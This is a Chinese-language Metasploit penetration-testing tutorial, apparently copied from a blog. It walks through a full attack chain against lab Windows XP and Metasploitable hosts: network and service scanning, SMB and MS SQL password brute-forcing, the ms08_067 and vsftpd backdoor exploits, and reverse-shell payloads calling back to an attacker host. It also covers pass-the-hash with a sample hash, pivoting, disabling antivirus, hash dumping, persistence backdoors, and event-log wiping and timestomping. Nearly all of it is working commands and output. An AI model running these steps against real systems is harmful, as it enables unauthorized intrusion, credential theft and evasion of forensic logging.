[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333
[*] Persistent agent script is 148453 bytes long
[+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[+] Agent executed with PID 4140
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
Meterpreter服务后门
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
* Service metsvc successfully installed.
之后电脑就默默生成了一个自启服务meterpreter;然后连接后门。
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 10.42.0.54
RHOST => 10.42.0.54
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit
清理痕迹
meterpreter > clearev
[*] Wiping 12348 records from Application...
[*] Wiping 1345 records from System...
[*] Wiping 3 records from Security...
meterpreter > timestomp
Metasploit 渗透测试指南
From:https://blog.csdn.net/qq_34640691/article/details/110812983
Metasploit 与 nmap
将 Nmap 输出的结果导入 metasploit
nmap -T4 -Pn -sS -A -oX result.xml 192.168.0.0/24
msf5 > db_status
db_import /home/kali/result.xml
hosts -c address

在 msf 中使用 nmap
db_nmap -sS -A 192.168.0.104
services -u

针对性扫描
SMB服务器消息块协议扫描
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > show options
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.104
RHOSTS => 192.168.0.104
msf5 auxiliary(scanner/smb/smb_version) > run

搜寻配置不当的 Mircrosoft SQL Server
msf5 > use auxiliary/scanner/mssql/mssql_ping
msf5 auxiliary(scanner/mssql/mssql_ping) > show options
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 255
THREADS => 255
msf5 auxiliary(scanner/mssql/mssql_ping) > run

ssh服务扫描
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/ssh/ssh_version) > run

FTP 扫描
1.版本扫描
msf5 > use auxiliary/scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > show options
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/ftp/ftp_version) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/ftp/ftp_version) > run

2.检查是否允许匿名登录
msf5 > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/ftp/anonymous) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/ftp/anonymous) > run

简单网络管理协议扫描
msf5 > use auxiliary/scanner/snmp/snmp_login
msf5 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/snmp/snmp_login) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/snmp/snmp_login) > run

NetBIOS 协议扫描
msf5 > use auxiliary/scanner/netbios/nbname
msf5 auxiliary(scanner/netbios/nbname) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/netbios/nbname) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/netbios/nbname) > run

漏洞扫描
使用 Nessus 扫描
dpkg -i Nessus-8.12.1-debian6_amd64.deb
/bin/systemctl start nessusd.service
https://kali:8834/
导入 nessus 扫描结果
msf5 > db_status
[*] Connected to msf. Connection type: postgresql.
msf5 > db_import /home/kali/Downloads/My_Basic_Network_Scan_vdxc5z.nessus
msf5 > hosts -c address,svcs,vulns
vulns #查看漏洞详细信息列表

msf 中使用 nessus 扫描
load nessus
nessus_connect nessus:nessus@localhost:8834 ok #连接nessus
nessus_policy_list #查看策略
nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets> #新建扫描标
nessus_scan_launch #运行扫描
nessus_scan_list #查看扫描列表
nessus_db_imprt id #导入msf数据库
专用漏洞扫描器 --- 1.验证SMB登录
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.0.100-110
RHOSTS => 192.168.0.100-110
msf5 auxiliary(scanner/smb/smb_login) > set SMBUSER administrator
SMBUSER => administrator
msf5 auxiliary(scanner/smb/smb_login) > set SMBPASS 123
SMBPASS => 123
msf5 auxiliary(scanner/smb/smb_login) > set VERBOSE false #不输出所有的尝试
VERBOSE => false
msf5 auxiliary(scanner/smb/smb_login) > run

扫描开放的VNC虚拟网络计算空口令
msf5 > use auxiliary/scanner/vnc/vnc_none_auth
msf5 auxiliary(scanner/vnc/vnc_none_auth) > show options
Module options (auxiliary/scanner/vnc/vnc_none_auth):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5900 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/vnc/vnc_none_auth) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf5 auxiliary(scanner/vnc/vnc_none_auth) > runvncviewer 192.168.0.105 #vnc连接
扫描开放的 X11 服务器

渗透攻击
对 windows xp 的攻击
使用 nmap 扫描:nmap -sT -A --script=smb-vuln-ms08-067.nse -P0 192.168.0.106

搜索并使用 ms08_067 渗透攻击模块
msf5 > search ms08_067
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > show targets
msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
target => 10
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(windows/smb/ms08_067_netapi) > set LPORT 8008
LPORT => 8008
msf5 exploit(windows/smb/ms08_067_netapi) > show options
msf5 exploit(windows/smb/ms08_067_netapi) > exploit

sessions 模块
meterpreter > shell # 进入目标机器的shell
C:\WINDOWS\system32>ipconfig
meterpreter > background # 后台运行反弹shell
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -l -v # 查看meterpreter会话的详细信息
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -i 2 # 进入session id为2的会话

攻击 Metasploitable 主机
nmap -sT -A -P0 192.168.0.105
搜索 vsftpd 渗透攻击模块
search vsftpd
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Meterpreter
xp 安装 ms_sql
使用 nmap 扫描:
nmap -sT -A -P0 192.168.0.106

攻击MS SQL
扫描目标系统的 udp 1434 端口

通过 mssql_ping 模块找出 MS SQL 服务端口,并进行用户名和口令的猜解
msf5 > use auxiliary/scanner/mssql/mssql_ping
msf5 auxiliary(scanner/mssql/mssql_ping) > show options
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/mssql/mssql_ping) > exploit

暴力破解 MS SQL服务
msf5 > use auxiliary/scanner/mssql/mssql_login
msf5 auxiliary(scanner/mssql/mssql_login) > show options
msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/pass.txt
PASS_FILE => /root/pass.txt
msf5 auxiliary(scanner/mssql/mssql_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/mssql/mssql_login) > set VERBOSE false
msf5 auxiliary(scanner/mssql/mssql_login) > set USERNAME sa
USERNAME => sa
msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 auxiliary(scanner/mssql/mssql_login) > exploit

xp_cmdshell

msf5 > use exploit/windows/mssql/mssql_payload
msf5 exploit(windows/mssql/mssql_payload) > show options
msf5 exploit(windows/mssql/mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/mssql/mssql_payload) > set LHOST 192.168.0.106
LHOST => 192.168.0.106
msf5 exploit(windows/mssql/mssql_payload) > set LPORT 5555
LPORT => 5555
msf5 exploit(windows/mssql/mssql_payload) > unset LHOST
Unsetting LHOST...
msf5 exploit(windows/mssql/mssql_payload) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(windows/mssql/mssql_payload) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 exploit(windows/mssql/mssql_payload) > set PASSWORD 123
PASSWORD => 123
msf5 exploit(windows/mssql/mssql_payload) > exploit

meterpreter 基本命令
截屏
meterpreter > screenshot
Screenshot saved to: /home/kali/NCqEAJcr.jpeg
sysinfo
meterpreter > sysinfo
Computer : XP-1A6862CF7BC
OS : Windows XP (5.1 Build 2600, Service Pack 2).
Architecture : x86
System Language : zh_CN
Domain : MSHOME
Logged On Users : 3
Meterpreter : x86/windows
hashdump

传递哈希值
当抓取到 Hash 值,无法在短时间内破解出明文密码,可以通过传递 hash值,使用windows/smb/psexec 模块
msf5 > use windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(windows/smb/psexec) > set LPORT 443
LPORT => 443
msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 exploit(windows/smb/psexec) > set SMBPASS ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
通过跳板 xp 攻击 metasploitable
建立路由
meterpreter > run get_local_subnets
msf5 > route add 192.168.0.0 255.255.255.0 2 #192.168.0.0/24是metasploitable的网络 2是session id
[*] Route added
msf5 > route print


攻击
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > ifconfig

使用 Meterpreter 脚本
vnc
meterpreter > run vnc
meterpreter > run screen_unlock

迁移进程
run post/windows/manage/migrate
关闭杀毒软件
run killav

hashdump

查看目标机器上的流量
run packetrecorder -i 1

获取系统信息
meterpreter > run scraper

控制持久化
meterpreter > run persistence -X -i 50 -p 443 -r 192.168.0.109 #-X开机自启动, -I 50秒重连一次
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit

通过附加的 Railgun 组件操作 WindowsAPI



4091

被折叠的 条评论
为什么被折叠?



